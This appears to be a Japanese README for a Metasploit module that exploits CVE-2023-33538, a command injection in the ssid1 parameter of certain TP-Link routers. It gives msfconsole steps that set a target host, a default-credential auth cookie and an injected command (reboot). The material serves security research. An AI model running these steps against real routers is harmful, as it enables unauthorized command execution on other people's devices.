
CVE-2023-33538 - Metasploit Framework用TP-LinkコマンドインジェクションRubyモジュール
この Metasploit auxiliary モジュール は、TP-Link TL-WR940N V2/V4 および TL-WR841N V8/V10 ルーターの認証済み コマンドインジェクションの脆弱性 を標的とします。
この問題は、WlanNetworkRpm.htm で使用される脆弱な ssid1 パラメータにあり、任意のシェルコマンドの注入を可能にします。
成功すると、攻撃者はデバイス上で任意のコマンドを実行できるようになります。
この CVE の詳細情報:
https://nvd.nist.gov/vuln/detail/CVE-2023-33538
.rb ファイルを Metasploit モジュールフォルダにコピーします。例:cp tplink_ssid1_rce.rb/usr/share/metasploit-framework/modules/auxiliary/admin/http/
msfconsole
search tplink
use auxiliary/admin/http/tplink_ssid1_rce
set RHOSTS 192.168.0.1
set RPORT 80
set AUTHCOOKIE Basic%20YWRtaW46YWRtaW4%3D
set SESSIONPATH /ABCD1234/
set CMD reboot
run
このモジュールは認証を実行しません。ルーターの Web インターフェースへのログイン成功後、
Authorizationクッキーとセッションのプレフィックスを手動で抽出する必要があります。
このモジュールは教育目的のみを意図しています。
自分が所有していない、またはテストする明示的な許可を得ていないデバイスやインフラストラクチャに対してこのコードを使用しないでください。
バグを見つけた場合や改善のアイデアがある場合は、お気軽に issue を開くかコメントを残してください。